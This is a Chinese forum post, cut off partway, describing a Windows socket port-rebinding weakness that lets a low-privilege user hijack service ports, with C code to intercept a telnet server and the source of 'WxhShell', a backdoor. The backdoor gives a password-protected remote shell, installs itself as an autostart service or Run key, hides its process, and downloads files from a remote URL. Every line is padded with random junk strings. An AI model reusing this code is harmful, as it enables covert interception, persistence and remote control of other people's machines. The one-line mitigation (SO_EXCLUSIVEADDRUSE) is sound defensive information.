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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h#9X0u7j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <Q'J=;vV  
u1F@VV{  
  saddr.sin_family = AF_INET; Jg=[!j0(  
)CQ'kHT<e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z=>U>  
G2Eke;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 59:Xu%Hp  
'Z#8]YP`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~"89NVk"  
(]0JI1 d  
  这意味着什么?意味着可以进行如下的攻击: 8^CdE*a  
8KRm>-H)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tgy*!B6a~  
|Id0+-V ?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8%]o6'd4  
y@"6Dt|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (j;s6g0  
L.XGD|m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W'x/Kg,w-  
6p%;:mDB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p`lv$ @q'  
5y;texsj[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -@{5 u d  
I!?-lI@(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UU')V  
5Jd(&k8%  
  #include t<5 $85Y~  
  #include hnag <=  
  #include LIYj__4=|  
  #include    ~;nh|v/e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   45e-A{G~  
  int main() n46H7e(ej\  
  { ]ovP^]]V  
  WORD wVersionRequested; L=4%MyZ.e  
  DWORD ret; {fe[$KQ  
  WSADATA wsaData; <eP`Lu"  
  BOOL val; ehB (?  
  SOCKADDR_IN saddr; >ENZ['F  
  SOCKADDR_IN scaddr; ssGp:{]v/  
  int err; e ?FjN 9  
  SOCKET s; 33dHTV  
  SOCKET sc; t'Zq>y;yg  
  int caddsize; wlk{V  
  HANDLE mt; mm(Ff>O  
  DWORD tid;   ^6R?UG;6  
  wVersionRequested = MAKEWORD( 2, 2 ); ?-w<H!Y7  
  err = WSAStartup( wVersionRequested, &wsaData ); 4lMf'V7*l  
  if ( err != 0 ) { F}p)Q$0  
  printf("error!WSAStartup failed!\n"); ? S^ U-.`  
  return -1; tQ=P.14>:  
  } P%M Yr"<$E  
  saddr.sin_family = AF_INET; JGl0 (i*|  
   ^ Q]I)U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W8{g<. /  
z\wY3pIr2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?7>G\0G  
  saddr.sin_port = htons(23); KITC,@xE_O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,TL8`  
  { ,.;q[s8  
  printf("error!socket failed!\n"); zvjp]yTx"  
  return -1; RV^ N4q4  
  } 8i:E$7etH  
  val = TRUE; ,MH/lQq%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JmL{&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *HiN:30DZ  
  { [\eh$r\   
  printf("error!setsockopt failed!\n"); -I dW-9~9  
  return -1; Gf``0F)  
  } '/l<\b/E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zf+jQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LY Y3*d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9yla &XTD  
% NSb8@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DJ)Q,l*|N9  
  { MvV\?Lzj   
  ret=GetLastError(); f@Oi$9CZn  
  printf("error!bind failed!\n"); FI|jsO 3  
  return -1; g i>`  
  } h`Ld%iN\  
  listen(s,2); d)hA'k  
  while(1) BMaw]D  
  { B?A]0S  
  caddsize = sizeof(scaddr); r"HQ>Wn  
  //接受连接请求 ZSWKVTi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'x/pV5[hQ  
  if(sc!=INVALID_SOCKET) 'Lm\ r+$F  
  { W}^X;f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zsM3 [2E*  
  if(mt==NULL) t5t!-w\M$+  
  { g~ubivl2  
  printf("Thread Creat Failed!\n"); ~)ut"4  
  break; VINb9W}G[  
  } 8NP|>uaj  
  } |.]sL0; 4Z  
  CloseHandle(mt); 3i\<#{  
  } k5M3g*  
  closesocket(s); :c03"jvYE  
  WSACleanup(); _=Y?' gHH  
  return 0; mf4C68DI@u  
  }   H5MO3DJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2iX57-6Ub  
  { 6l Suzu  
  SOCKET ss = (SOCKET)lpParam; EhWYFQ  
  SOCKET sc; pAdx 6  
  unsigned char buf[4096]; qXF#qS-28  
  SOCKADDR_IN saddr; V.\12P  
  long num; U+[ p>iP  
  DWORD val; Go;fQ yG  
  DWORD ret; wlC7;u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8&q[jxI@8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <PMQ$s>KK  
  saddr.sin_family = AF_INET; fX:=_c   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /7[U J'  
  saddr.sin_port = htons(23); >~+qU&'2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YB`1S  
  { ]7|Zs]6  
  printf("error!socket failed!\n"); )\O;Rt(  
  return -1; kg/<<RO  
  } n,Gvgf  
  val = 100; 8%\0v?a5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p)&Yr  
  { U7_1R0h  
  ret = GetLastError(); vyS8yJUY  
  return -1; .#Vup{.  
  } PNgdWf3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S:= _o  
  { A WS[e$Mt2  
  ret = GetLastError(); nNc>nB1  
  return -1; W]B75  
  } =PM6:3aKh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _GW,9s^A  
  { 'lWgHmE  
  printf("error!socket connect failed!\n"); P >>VBh?  
  closesocket(sc); qT153dNA&  
  closesocket(ss); ?GT,Y5  
  return -1; b f j]Q  
  } q+ZN$4m  
  while(1) hBRcI0R  
  { fk5$z0/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "h\ (a<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r,8~qHbOT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8~!9bg6C  
  num = recv(ss,buf,4096,0); (qyT,K8  
  if(num>0) u%24% Q  
  send(sc,buf,num,0); ]yAOKmS  
  else if(num==0) )&px[Dbx  
  break; 3'jH,17lWV  
  num = recv(sc,buf,4096,0); dTTC6?yPXf  
  if(num>0) !5^&?plC@  
  send(ss,buf,num,0); 4N K{RN3  
  else if(num==0) ]8o[&50y  
  break; l>D!@`><I  
  } qGkD] L  
  closesocket(ss); U32&"&";c  
  closesocket(sc); 9er0Ww.d  
  return 0 ; Of gmJ(%  
  } :jHDeF.A  
5fDp"-  
'UFPQ  
========================================================== sZh| <2  
lHI?GiB@  
下边附上一个代码,,WXhSHELL !;%+1j?d  
#+ai G52+  
==========================================================  k:i}xKu  
E``\Jre@  
#include "stdafx.h" 0J z|BE3Y  
GOU>j "5}2  
#include <stdio.h> J#) %{k_  
#include <string.h> X%R)  
#include <windows.h> ^3O`8o  
#include <winsock2.h> i5; _  
#include <winsvc.h> $ISx0l~  
#include <urlmon.h> A$1Gc> C  
g^)8a;/c  
#pragma comment (lib, "Ws2_32.lib") oR@1/lV  
#pragma comment (lib, "urlmon.lib") u"5 hlccH  
'z$!9ufY,  
#define MAX_USER   100 // 最大客户端连接数 Aa!#=V1d  
#define BUF_SOCK   200 // sock buffer u5I#5  
#define KEY_BUFF   255 // 输入 buffer <(tnClAn  
@g%^H)T  
#define REBOOT     0   // 重启 1zGhX]z  
#define SHUTDOWN   1   // 关机 m#|h22^H  
c4 bo  
#define DEF_PORT   5000 // 监听端口 &s~b1Va  
*z }<eq  
#define REG_LEN     16   // 注册表键长度 *wl&Zzx  
#define SVC_LEN     80   // NT服务名长度 #-7m@EU;O  
&]S\GnqlU]  
// 从dll定义API j<PpCL_8%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YgR}y+q^6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !V27ln KP+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DTN)#G CtF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |y DaFv  
E HH+)mlo  
// wxhshell配置信息 #v\o@ArX  
struct WSCFG { V]W-**j<  
  int ws_port;         // 监听端口 l|L ]==M  
  char ws_passstr[REG_LEN]; // 口令 (_nU}<y_i  
  int ws_autoins;       // 安装标记, 1=yes 0=no &pFP=|Pq  
  char ws_regname[REG_LEN]; // 注册表键名 /D,<2>o  
  char ws_svcname[REG_LEN]; // 服务名 Z"N}f ,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jn._4TQ*}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Y~gItej  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FB }8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `7 3I}%?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JrGY`6##p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hOR1R B  
nq 9{{oe  
}; E6+ 6  
Xu%8Q?]  
// default Wxhshell configuration a+ s%9l  
struct WSCFG wscfg={DEF_PORT, kn= fW1  
    "xuhuanlingzhe", 2'-o'z<  
    1, ;R*tT%Z,  
    "Wxhshell", 4YyVh.x  
    "Wxhshell", K-Fro~U  
            "WxhShell Service", tE"IE$$1  
    "Wrsky Windows CmdShell Service", TFI$>Oz|  
    "Please Input Your Password: ", ={B?hjo<-  
  1, W/G75o~6  
  "http://www.wrsky.com/wxhshell.exe", 3Q2z+`x'  
  "Wxhshell.exe" TQ69O +  
    }; .9$ 7 +  
"W@>lf?"  
// 消息定义模块 0}wmBSl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +?ilTU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c^8csQ fG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {O5(O oDa  
char *msg_ws_ext="\n\rExit."; ^+u/Lw&  
char *msg_ws_end="\n\rQuit."; UhbGU G  
char *msg_ws_boot="\n\rReboot..."; _qjkiKm?1F  
char *msg_ws_poff="\n\rShutdown..."; ,Wlw#1fP  
char *msg_ws_down="\n\rSave to "; 1+9}Xnxb  
d_)VeuE2  
char *msg_ws_err="\n\rErr!"; GEJy?$9   
char *msg_ws_ok="\n\rOK!"; d 6zfP1lQ  
G%XjDxo$I  
char ExeFile[MAX_PATH]; _KAg1Ww  
int nUser = 0; ~!#2s'  
HANDLE handles[MAX_USER]; Lem:zXj  
int OsIsNt; ?vg|;Q  
_\u?]YTv  
SERVICE_STATUS       serviceStatus; N'=b8J-fF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R:, |xz  
XG8UdR|  
// 函数声明 Z>_F:1x  
int Install(void); 9PWqoz2c  
int Uninstall(void); 2SJ|$VsLaE  
int DownloadFile(char *sURL, SOCKET wsh); `FRdo  
int Boot(int flag); Fh~ pB>t  
void HideProc(void); L%31>)8  
int GetOsVer(void); J9q[u[QZ9O  
int Wxhshell(SOCKET wsl); W+ v#m>G  
void TalkWithClient(void *cs); U$EQeb  
int CmdShell(SOCKET sock); ]_mcJ/6:  
int StartFromService(void); gmdA1$c  
int StartWxhshell(LPSTR lpCmdLine); nrJW.F]S8[  
EzGO/uZ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f;]C8/W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2'7)D}p  
UY/qI%#L#,  
// 数据结构和表定义 RFT`r  
SERVICE_TABLE_ENTRY DispatchTable[] = N&]_U%#Q  
{ ]Nb~-)t%B  
{wscfg.ws_svcname, NTServiceMain}, 1aS66TS3  
{NULL, NULL} +.IncY8C$  
}; I2e@_[ 1  
jI45X22j  
// 自我安装 NzG] nsw  
int Install(void) *s6(1 S  
{ rk< 3QXv  
  char svExeFile[MAX_PATH]; P"<,@Mn  
  HKEY key; Ag_I'   
  strcpy(svExeFile,ExeFile); (T1d!v"~"  
57`9{.HB  
// 如果是win9x系统,修改注册表设为自启动 I@l }%L  
if(!OsIsNt) { N5Ih+8zT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (laVmU?I7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P>qDQ1  
  RegCloseKey(key); 6+W`:0je  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c|(&6(r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {7d\du&G  
  RegCloseKey(key); V[avV*;3i  
  return 0; C#:L.qK  
    } VD+y4t'^  
  } z0xw0M+X  
} 5sguv^;C5  
else { r"=6s/q7  
;Ff5ooL{  
// 如果是NT以上系统,安装为系统服务 nPj &a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &0JCZ /e  
if (schSCManager!=0) ?f4jqF~Fh  
{ G\/7V L  
  SC_HANDLE schService = CreateService MRa |<yK  
  ( *Fm#Qek  
  schSCManager, YHfk; FI  
  wscfg.ws_svcname, 3mH(@ -OA  
  wscfg.ws_svcdisp, U_ *K%h\m  
  SERVICE_ALL_ACCESS, ER)to<k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >;Vy{bL8  
  SERVICE_AUTO_START, y({EF~w  
  SERVICE_ERROR_NORMAL, Y<[jUe`O;  
  svExeFile, |$sMzPCxOk  
  NULL, &*;E wfgZ  
  NULL, nYts[f9e  
  NULL, G*W54[  
  NULL, 9s`j@B0N57  
  NULL `xie/  
  ); N)o/}@]6  
  if (schService!=0) qZ rv2dT  
  { IT0 [;eqR  
  CloseServiceHandle(schService); \4"01:u'  
  CloseServiceHandle(schSCManager); mH5[(?   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +w9X$<?_  
  strcat(svExeFile,wscfg.ws_svcname); %tT=q^%5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mFW/xZwR,5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?b3({P  
  RegCloseKey(key); 6/l{e)rX2o  
  return 0; w6@8cNXK  
    } N^xk.O_TO  
  } AlhPT (  
  CloseServiceHandle(schSCManager); ~WX40z  
} P= nu&$;  
} ^^{7`X u  
* $v`5rP  
return 1; CK#SD|~:  
} l t{yo\  
W B7gY\Y&M  
// 自我卸载 M\)(_I)V=  
int Uninstall(void) =`fz#Mfd  
{ wH0Ks5  
  HKEY key; _p,1m[&M  
Oj0,Urs7  
if(!OsIsNt) { m1,yf*U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T;Zv^:]0  
  RegDeleteValue(key,wscfg.ws_regname); )&wJ_ (z  
  RegCloseKey(key); *?s"~ XVs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0)nY- f0  
  RegDeleteValue(key,wscfg.ws_regname); xI,7ld~  
  RegCloseKey(key); ^K`Vqo  
  return 0; %xh A2  
  } V;%DS)-  
} Ub%1OQ  
} J>%uak<  
else { )R5=GHmL  
_~a5;[~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '1[Bbs  
if (schSCManager!=0) Q|i`s=|  
{ O&ZVu>`g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yo a|.2f  
  if (schService!=0) K f}h{X  
  { >gGdzL  
  if(DeleteService(schService)!=0) { m8C scC Z}  
  CloseServiceHandle(schService); e'L$g-;>4b  
  CloseServiceHandle(schSCManager); _MST8  
  return 0; s7G!4en  
  } aOK,Mm:iO  
  CloseServiceHandle(schService); E6_.Q `!ll  
  } Dvz}sQZ  
  CloseServiceHandle(schSCManager); d|RDx;r l8  
} 7@l.ZECJ1  
} !a<}Mpeg  
|"o/GUI~  
return 1; Ld$e  -dB  
} ?^3Q5ye  
a+#Aitd  
// 从指定url下载文件 yjB.-o('  
int DownloadFile(char *sURL, SOCKET wsh) DqbU$jt`  
{ +y\mlfJ.-b  
  HRESULT hr; !K5D:x  
char seps[]= "/"; i\94e{uty[  
char *token; &I=F4 z  
char *file; m* JbZT  
char myURL[MAX_PATH]; r8Pdk/CW^  
char myFILE[MAX_PATH]; /FW{>N1   
PAHkF&  
strcpy(myURL,sURL); d>r_a9 .u  
  token=strtok(myURL,seps); #Y;tobB  
  while(token!=NULL) ?VP07 dQTe  
  { H;=++Dh  
    file=token; QZ^P2==x  
  token=strtok(NULL,seps); N9jSiRJ  
  } aK4ZH}XHE"  
``9`Xq  
GetCurrentDirectory(MAX_PATH,myFILE); =BNS3W6  
strcat(myFILE, "\\"); [7*$Sd  
strcat(myFILE, file); 4E~!$Ustx  
  send(wsh,myFILE,strlen(myFILE),0); +tSfx  
send(wsh,"...",3,0); 1 wB2:o<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HA W57N  
  if(hr==S_OK) xXn2M*g  
return 0; P K9BowlW  
else YKWts y  
return 1; <QZ X""  
PS3%V_2  
} ?84B0K2N s  
3,4m|Z2)  
// 系统电源模块 fx `oe  
int Boot(int flag) B jsF5~+\  
{ jpI=B  
  HANDLE hToken; jZLD^@AP  
  TOKEN_PRIVILEGES tkp; 1Z| {3W  
gW(7jFl  
  if(OsIsNt) { nD/; Gq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (TQhO$,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C#Y_La  
    tkp.PrivilegeCount = 1; ]v6s](CE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [H&Z / .{F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ];VJ54  
if(flag==REBOOT) { "O j2B|:s&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6-vQQ-\  
  return 0; - BE.a<  
} .6xIg+  
else { 6Lhfb\2?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cc_v4d{x  
  return 0; gHe%N? '  
} QGI_aU  
  } E,g5[s@  
  else { =p29 }^@@t  
if(flag==REBOOT) { %tC3@S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y]-7T-*+t  
  return 0; +rcDA|  
} U~1jmxE  
else { lIDGL05f'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pe<}kS m4  
  return 0; g (:%E  
} bL9EX$P  
} _(.,<R5  
uxsfQ%3`#  
return 1; )|SmB YV  
} :*0l*j  
=SqI# v  
// win9x进程隐藏模块  J0Ik@  
void HideProc(void) tP ;^;nw  
{ f~{@(g&Gl  
y %4G[Dz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1p|}=R  
  if ( hKernel != NULL ) ZlxJY%o eu  
  { {:m%n-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?.%'[n>P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f+o%N  
    FreeLibrary(hKernel); Pk 6l*+"r<  
  } B[Gl}(E  
lmjoSINy  
return; @ 4%a  
} 3+` <2TP  
"spAYk\  
// 获取操作系统版本 5^W},:3R  
int GetOsVer(void) Sgy_?Y  
{ Jfs$VGZP;  
  OSVERSIONINFO winfo; Pm* N!:u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q;{# ~<"+  
  GetVersionEx(&winfo); %:~LU]KX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7[}K 2.W.  
  return 1; ]J aV +b'O  
  else 1tMs\e-  
  return 0; pf'-(W+  
} $Z8=QlG>  
k@i+gV%  
// 客户端句柄模块 @=kDaPme92  
int Wxhshell(SOCKET wsl) /^F$cQX(  
{ ]IZn#gnM  
  SOCKET wsh; M]JD(  
  struct sockaddr_in client; zLB7'7oP  
  DWORD myID; X\dPQwasM  
~c*$w O\  
  while(nUser<MAX_USER) 8ezdU"  
{ Rl2*oOVz  
  int nSize=sizeof(client); 28N v'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3TS(il9A  
  if(wsh==INVALID_SOCKET) return 1; "\]NOA*  
y>DvD)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'Lb- +X,  
if(handles[nUser]==0) ">LX>uYmX-  
  closesocket(wsh); 1aQR9zg%  
else ![OKmy  
  nUser++; cJ> #jl&  
  } ;[ag|YU$Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #'<s/7;~  
$<[Q8V-  
  return 0; 9]DMHA@  
} L-}6}5[  
x\r[Zp|  
// 关闭 socket A_mVe\(*M  
void CloseIt(SOCKET wsh) $aFCe}3b<  
{ >#Obhs|S{C  
closesocket(wsh); bQ3EBJT{P  
nUser--; +UGWTO\#ha  
ExitThread(0); +U:U/c5Z^  
} !N@d51T=N  
0 kM4\E n  
// 客户端请求句柄 +oT/v3,  
void TalkWithClient(void *cs) `qnNEJL,  
{ S1B^FLe7X  
x=%p~$C  
  SOCKET wsh=(SOCKET)cs; e/p2| 4;  
  char pwd[SVC_LEN]; I!L`W _  
  char cmd[KEY_BUFF]; _+vE(:T  
char chr[1]; >5aZ?#TS1  
int i,j; A=z+@b6  
Tf bB1  
  while (nUser < MAX_USER) { "Y> #=>8  
P&s-U6  
if(wscfg.ws_passstr) { yi*2^??` 1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); el;eyGa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Pf?.NrTn  
  //ZeroMemory(pwd,KEY_BUFF); "GTlJqhk  
      i=0; A=(<g";m  
  while(i<SVC_LEN) { 'fqX^v5n  
*x;&fyR  
  // 设置超时 hPP,D\#  
  fd_set FdRead; []vt\I ;  
  struct timeval TimeOut; *&d>Vk."]  
  FD_ZERO(&FdRead); Nzo;j0 [  
  FD_SET(wsh,&FdRead); ^J TrytIB  
  TimeOut.tv_sec=8; [K\Vc9  
  TimeOut.tv_usec=0; B3j   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m4<5jC`-M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [f?fA[, [  
X(`wj~45VX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); );]9M~$  
  pwd=chr[0]; Cmsg'KqqT  
  if(chr[0]==0xd || chr[0]==0xa) { J ^y1=PM  
  pwd=0; IYo{eX~=  
  break; =u5a'bp0;;  
  } 9uNkd2 #  
  i++; kma)DW  
    } Qrnc;H9)  
!Rq.L  
  // 如果是非法用户,关闭 socket 1TagQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^{IF2_h"  
} ) H'SU_YU  
$E j;CN59  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $mV1K)ege  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 907N;r  
q$|Wxnz  
while(1) { vSOO[.=  
NM`5hd{  
  ZeroMemory(cmd,KEY_BUFF); wc%Wy|d  
h2b,(  
      // 自动支持客户端 telnet标准   zXop@"(e  
  j=0; biBo?k;4  
  while(j<KEY_BUFF) { 8R) 0|v&;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _DlX F  
  cmd[j]=chr[0]; _:B/XZ  
  if(chr[0]==0xa || chr[0]==0xd) { hLqRF4>L  
  cmd[j]=0; A *$JF>`7  
  break; j;GH|22  
  } vpS&w  
  j++; f6I$d<  
    } 2~*J<iO&l  
xksd&X:  
  // 下载文件 qPn }$1+~  
  if(strstr(cmd,"http://")) { kkyi`_ZKn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6cF~8  
  if(DownloadFile(cmd,wsh)) E=H>|FgS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aa.eu=@I  
  else *t)Y@=k3>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J@Qt(rRxi  
  } SWX[|sjdB  
  else { ?=bqya"Y  
va>u1S<lO  
    switch(cmd[0]) { 6/%dD DU  
  [eWZ^Eh"I  
  // 帮助 VIXY?Ua  
  case '?': { a'[Ah2}3r<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vDeb?n  
    break; T uk:: .jD  
  } qy9RYIfZ  
  // 安装 rwJCVkF  
  case 'i': { lR[]A  
    if(Install()) YR 5C`o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1r)n{;  
    else vky@L!&,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D <16m<b  
    break; ,esryFRG  
    } tRl01&0S  
  // 卸载 g+X .8>=  
  case 'r': { 2ncD,@ij  
    if(Uninstall()) ~yGD("X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #cnh ~O  
    else ($h`Y;4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2@A%;f0Q  
    break; gPW% *|D,  
    } u6B,V  
  // 显示 wxhshell 所在路径 o4^|n1vN  
  case 'p': { kK,Ne%}a2K  
    char svExeFile[MAX_PATH]; W RBCNra  
    strcpy(svExeFile,"\n\r"); ZM6`:/lc  
      strcat(svExeFile,ExeFile); K+s@.D9J  
        send(wsh,svExeFile,strlen(svExeFile),0); SU,#:s(  
    break; ^n@dC?  
    } c\J?J>xz  
  // 重启 !Qqi%  
  case 'b': { eTeZ^G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ef Moi'v  
    if(Boot(REBOOT)) nT;Rwz$3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); **D3.-0u&  
    else { NMM$ m!zg  
    closesocket(wsh); K&\ q6bU  
    ExitThread(0); ,:E*Mw:  
    } __3s3YG  
    break; NrVE[Z#  
    } }Ai_peO0a  
  // 关机 T"b'T>Y  
  case 'd': { MMQ^&!H  
